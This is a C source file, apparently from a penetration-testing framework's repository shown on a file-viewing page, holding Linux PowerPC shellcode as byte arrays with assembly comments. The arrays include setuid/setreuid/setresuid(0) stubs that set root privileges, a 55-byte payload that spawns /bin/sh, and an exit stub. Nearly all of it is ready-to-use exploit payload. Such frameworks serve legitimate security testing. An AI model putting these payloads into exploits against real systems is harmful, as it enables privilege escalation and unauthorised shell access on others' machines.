Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/lin-power-shellcode.c
Views: 11766
/*1* lin-power-shellcode.c2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920char setresuidcode[]= /* 24 bytes */21"\x3b\xe0\x01\xff" /* li r31,511 */22"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */23"\x7c\x84\x22\x78" /* xor r4,r4,r4 */24"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */25"\x38\x1f\xfe\xa5" /* addi r0,r31,-347 */26"\x44\xff\xff\x02" /* sc */27;2829char setreuidcode[]= /* 20 bytes */30"\x3b\xe0\x01\xff" /* li r31,511 */31"\x7c\x84\x22\x78" /* xor r4,r4,r4 */32"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */33"\x38\x1f\xfe\x47" /* addi r0,r31,-441 */34"\x44\xff\xff\x02" /* sc */35;3637char setuidcode[]= /* 16 bytes */38"\x3b\xe0\x01\xff" /* li r31,511 */39"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */40"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */41"\x44\xff\xff\x02" /* sc */42;4344char shellcode[]= /* 55 bytes */45"\x3b\xe0\x01\xff" /* li r31,511 */46"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */47"\x40\x82\xff\xf9" /* bnel+ <shellcode> */48"\x7f\xc8\x02\xa6" /* mflr r30 */49"\x3b\xde\x01\xff" /* addi r30,r30,511 */50"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */51"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */52"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */53"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */54"\x7c\x24\x0b\x78" /* mr r4,r1 */55"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */56"\x44\xff\xff\x02" /* sc */57"/bin/sh"58;5960char exitcode[]= /* 16 bytes */61"\x3b\xe0\x01\xff" /* li r31,511 */62"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */63"\x38\x1f\xfe\x02" /* addi r0,r31,-510 */64"\x44\xff\xff\x02" /* sc */65;66676869